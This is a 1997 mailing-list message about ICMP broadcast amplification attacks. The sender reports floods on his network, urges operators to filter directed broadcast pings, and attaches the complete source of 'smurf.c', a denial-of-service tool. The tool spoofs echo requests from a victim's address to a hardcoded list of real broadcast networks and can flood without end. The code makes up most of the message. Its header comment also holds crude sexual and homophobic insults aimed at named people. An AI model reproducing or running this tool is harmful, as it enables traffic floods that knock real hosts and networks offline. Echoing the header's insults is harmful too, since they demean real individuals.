On Mon, 11 Aug 1997, Rick Watson wrote: |Netstat Webmaster wrote: |> [some text omitted] |> The real problem I see with this particular attack is that there is |> nothing short of blocking all ICMPs that 'victim.com' can do. At least |> not that I am aware of. |> |> Regards, |> Tripp |> |> webmaster@http://www.netstat.net | |This does not solve the entire problem. We have been the victim of |such an attack for the last several days. The attack is using up about |7 Mbits of our DS3 to Sprint or about 16%. Filtering out ICMP packets |at the router we control only prevents the target host from seeing the |ping replies, but does not recover the portion of our circuit occupied |by the ping replies, or of Sprint's backbone circuits, or of other |provider's circuits in the path, etc. We have seen the same thing on our network for ~10weeks off and on. The attacks have been as bad as 29M/sec. I am attaching 'smurf.c' the program that triggers the broadcast pings etc. Everyone _please_ filter routing broadcast pings as this is a _major_ problem. Jonah /* * * smurf.c by TFreak [21:52 - 07/28/97] * * spoofs icmp packets from a host to various broadcast addresses resulting * in multiple replies to that host from a single packet. * * mad head to: * nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig, * MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain * cos he rox my sox, zuez, toxik, robocod, and everyone else that i might * have missed (you know who you are). * * mad props to Bug_Lord, as well. * * mad anal to: * #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps * because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to * his penis and anyone that can't pee standing up. * * disclaimer: * I cannot and will not be held responsible nor legally bound for the * malicious activities of individuals who come into possession of this * program and refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. * This is for educational use only. Please Don't abuse this. * */ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void banner(void); void usage(char *); void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int); unsigned short in_chksum(u_short *, int); void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10; /* add your own broadcast ips, just make sure to end with NULL */ char *bcastaddr[] = { "199.171.190.255", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.255", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "192.41.177.255", "206.13.28.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "205.180.58.255", "152.2.254.255", "198.3.98.0", "131.104.96.255", "143.43.32.255", "36.190.0.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", NULL }; banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } puts("\n[0;37m\n"); } void banner (void) { puts(""); puts("smurf.c v3.0 by TFreak"); puts("[0;37m"); } void usage (char *prog) { fprintf(stderr, "usage: %s <source> <bcast addr> " "<num packets> <packet delay> <packet size>\n", prog); fprintf(stderr, "bcast address of 0 uses hardcoded " "addresses, num packets of 0 constant flood\n"); puts("[0;37m"); exit(-1); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); /* free willy! */ } void ctrlc (int ignored) { puts("\nDone!\n[0;37m"); exit(1); } unsigned short in_chksum (u_short *addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); }